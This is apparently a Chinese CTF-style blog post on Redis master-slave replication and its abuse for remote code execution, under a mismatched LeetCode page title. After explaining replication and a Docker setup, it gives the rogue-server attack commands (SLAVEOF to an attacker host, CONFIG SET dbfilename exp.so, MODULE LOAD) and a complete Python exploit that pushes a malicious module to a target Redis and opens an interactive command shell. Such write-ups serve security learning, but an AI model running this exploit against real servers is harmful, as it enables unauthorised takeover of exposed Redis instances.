1. 程式人生 > 其它 >[LeetCode人生]1351. 統計有序矩陣中的負數

[LeetCode人生]1351. 統計有序矩陣中的負數

redis主從複製

目錄

前言

開篇雷擊,真要笑死我了.正好在寫網鼎杯的ssrfme,學到redis主從複製,還在這糾結不懂,電腦右下角彈出來個框

(不知道什麼時候加的免費課程,覺得這個課還不錯,主要講的挺高階的,而且最重要的是可以白嫖!)

切回正題,必得好好學一學

介紹

作用

  1. 資料冗餘(熱備份)
  2. 故障恢復(主節點出問題可以由從節點繼續提供服務)
  3. 讀寫分離(主節點提供寫服務,從節點提供讀服務)

(其實我覺得整個下來有點hadoop分佈叢集內味兒了)

原理

主從複製是指將一臺redis伺服器的資料,複製到其他redis伺服器.前者稱為主節點,後者稱為從節點,資料複製單向,只能由主節點到從節點

這也是redis從ssrf到rce的核心:

通過主從複製,主redis的資料和從redis上的資料保持實時同步,當主redis寫入資料是就會通過主從複製複製到其它從redis。

在全量複製過程中,恢復rdb檔案,如果我們將rdb檔案構造為惡意的exp.so,從節點即會自動生成,使得可以RCE

過程分為三個階段:連線建立階段\資料同步階段\命令傳播階段

從節點執行slaveof命令後,複製過程開始,分為六個階段:

  1. 儲存主節點資訊
  2. 主從建立socker連結
  3. 傳送ping命令
  4. 許可權驗證
  5. 同步資料集
  6. 命令持續複製

問題

既然是異體機,跨主機就有可能資料存在各種問題

  • 如果資料延遲,導致讀寫不一致.採用監控偏移量offset的思想,如果offset超出範圍直接切換回主節點上

  • 非同步複製導致資料丟失的情況,要求主節點至少有n個從節點連結的時候才允許寫入

  • 從節點故障可以允許主節點配置高於從節點,依然可用

  • 從節點斷掉,主節點記憶體碎片率過高,redis提供debug reload的重啟方式,在不影響主節點runid和offset情況下重啟,同時避免消耗資源的全量複製

  • 主節點宕機重啟時,可以採用樹狀,將開銷交給位於中間層的從節點,從而減輕主節點的消耗

啟動

執行容器

拉取最新版本redis映象

docker pull redis:latest

檢視本地映象

docker images (出現redis latest即表明安裝成功)

執行容器

docker run -itd --name redis-test -p 10000:6379 redis

檢視執行狀態

docker ps -a

進入容器

docker exec -it redis-test /bin/bash

連線redis

redis-cli

這裡還要建一臺機器,重複上述操作,改個名字和埠即可

主從複製啟動

我們這裡通過客戶端命令方式開啟從節點主從複製,redis伺服器啟動後,直接可短短輸入命令

slaveof <masterip> <masterport>

此機器變成從節點

info replication 檢視引數資訊

可以看到設定成功,測試資料達到同步

載入惡意檔案

自從Redis4.x之後redis新增了一個模組功能,Redis模組可以使用外部模組擴充套件Redis功能,以一定的速度實現新的Redis命令,並具有類似於核心內部可以完成的功能。
Redis模組是動態庫,可以在啟動時或使用MODULE LOAD命令載入到Redis中

貼一下惡意.so檔案編寫地址

在這裡膜一下r3kapig的師傅,tql

利用原理

上文中提到,主從複製會啟用全量複製的方式將主節點的rdb檔案同步到從節點,於是我們可以利用redis模組特性將惡意so檔案上傳至主節點,全量複製會幫我們同步到子節點上

建立rogue伺服器

使用此專案下的rogue-server,目的是在同步過程中向redis傳送我們的module load命令

設定從節點

slaveof <mastetip> <masterport>

設定redis資料庫檔案

CONFIG SET dbfilename exp.so

注意:如果某些ctf過濾了file字串,可以採用二次編碼方式繞過。且此處的exp.so不能包含路徑

rogue server 接受回傳

+FULLRESYNC <Z*40> 1\r\n$<len>\r\n<payload>

載入模組

MODULE LOAD ./exp.so

exp

貼上大佬的exp

import socket
import time

CRLF="\r\n"
payload=open("exp.so","rb").read()
exp_filename="exp.so"

def redis_format(arr):
    global CRLF
    global payload
    redis_arr=arr.split(" ")
    cmd=""
    cmd+="*"+str(len(redis_arr))
    for x in redis_arr:
        cmd+=CRLF+"$"+str(len(x))+CRLF+x
    cmd+=CRLF
    return cmd

def redis_connect(rhost,rport):
    sock=socket.socket()
    sock.connect((rhost,rport))
    return sock

def send(sock,cmd):
    sock.send(redis_format(cmd))
    print(sock.recv(1024).decode("utf-8"))

def interact_shell(sock):
    flag=True
    try:
        while flag:
            shell=raw_input("\033[1;32;40m[*]\033[0m ")
            shell=shell.replace(" ","${IFS}")
            if shell=="exit" or shell=="quit":
                flag=False
            else:
                send(sock,"system.exec {}".format(shell))
    except KeyboardInterrupt:
        return


def RogueServer(lport):
    global CRLF
    global payload
    flag=True
    result=""
    sock=socket.socket()
    sock.bind(("0.0.0.0",lport))
    sock.listen(10)
    clientSock, address = sock.accept()
    while flag:
        data = clientSock.recv(1024)
        if "PING" in data:
            result="+PONG"+CRLF
            clientSock.send(result)
            flag=True
        elif "REPLCONF" in data:
            result="+OK"+CRLF
            clientSock.send(result)
            flag=True
        elif "PSYNC" in data or "SYNC" in data:
            result = "+FULLRESYNC " + "a" * 40 + " 1" + CRLF
            result += "$" + str(len(payload)) + CRLF
            result = result.encode()
            result += payload
            result += CRLF
            clientSock.send(result)
            flag=False

if __name__=="__main__":
    lhost="192.168.163.132"
    lport=6666
    rhost="192.168.163.128"
    rport=6379
    passwd=""
    redis_sock=redis_connect(rhost,rport)
    if passwd:
        send(redis_sock,"AUTH {}".format(passwd))
    send(redis_sock,"SLAVEOF {} {}".format(lhost,lport))
    send(redis_sock,"config set dbfilename {}".format(exp_filename))
    time.sleep(2)
    RogueServer(lport)
    send(redis_sock,"MODULE LOAD ./{}".format(exp_filename))
    interact_shell(redis_sock)

演示

執行redis服務

redis-test: 172.17.0.2

redis-test2:172.17.0.3

開啟主從複製

執行rogue server

python redis-rogue-server.py --rhost 172.17.0.3 --lhost 172.17.0.1

因為我這裡是預設直接啟動的,沒有設定redis.conf中關閉安全限制,所以並沒有連上,實際中只要其關閉安全限制,暴露在外網中即可getshell

參考連結